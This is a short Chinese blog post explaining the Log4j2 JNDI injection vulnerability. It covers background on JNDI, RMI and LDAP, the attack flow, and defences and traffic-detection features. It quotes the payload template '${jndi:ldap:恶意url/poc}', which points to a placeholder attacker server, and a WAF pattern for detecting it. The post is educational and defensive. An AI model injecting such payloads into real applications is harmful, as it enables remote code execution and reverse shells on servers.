log4j2漏洞

  • log4j2
    log4j2是apache下的java应用常见的开源日志库,java日志记录工具。
  • JNDI
    java命名和目录接口。允许从指定的远程服务器获取并加载对象。
    JNDI相当于一个映射字典,使java应用程序可以和这些命名服务器和目录服务器之间进行交互。
    JNDI注入攻击时常通过RMI和LDAP两种服务,JDBC、LDAP、RMI、DNS、NIS、CORBA。
    JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API。

    1、RMI:远程方法调用
    RMI是java提供的一种技术,允许一个程序调用位于另一个JVM中的对象的方法,就像调用本地方法一样。实现分布式系统,常用于在客户端和服务器之间传递对象和执行远程服务。


    2、LDAP:轻量级目录访问协议
    LDAP开放、跨平台的协议,用于访问和管理基于目录的信息,例如用户、设备和其他资源。
    管理和存储用户认证信息;支持身份验证和访问控制。实现资源分层管理,如组织结构,用户组。
  • log4j2漏洞原理
    log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。在lookup的{}中构造payload,调用JNDI服务向攻击者提前部署号的恶意站点获取恶意的.class对象,造成远程代码执行。(可反弹shell到指定服务器)
    攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。
    image
    攻击者提交包含JNDI lookup的字符串
    应用记录日志时触发解析
    向恶意LDAP服务器发起请求
    下载并执行远程恶意代码
  • log4j2漏洞防御修复
    出口流量限制LDAP/RMI/NIS协议
    禁用JNDI查找,设置环境变量
    升级版本,代码审计
    防火墙拦截LDAP/RMI外连请求
    使用waf规则阻断${jndi:等特征
  • log4j2漏洞流量攻击特征
    image
    异常LDAP/RMI/NIS外连,常见的JNDI,ctx等正则匹配特征,构造url/Unicode编码后jndipayload,
  • log4j2漏洞流量攻击案例
    image

image

image
image

posted @ 2025-02-13 18:01  予遂计划  阅读(62)  评论(0)    收藏  举报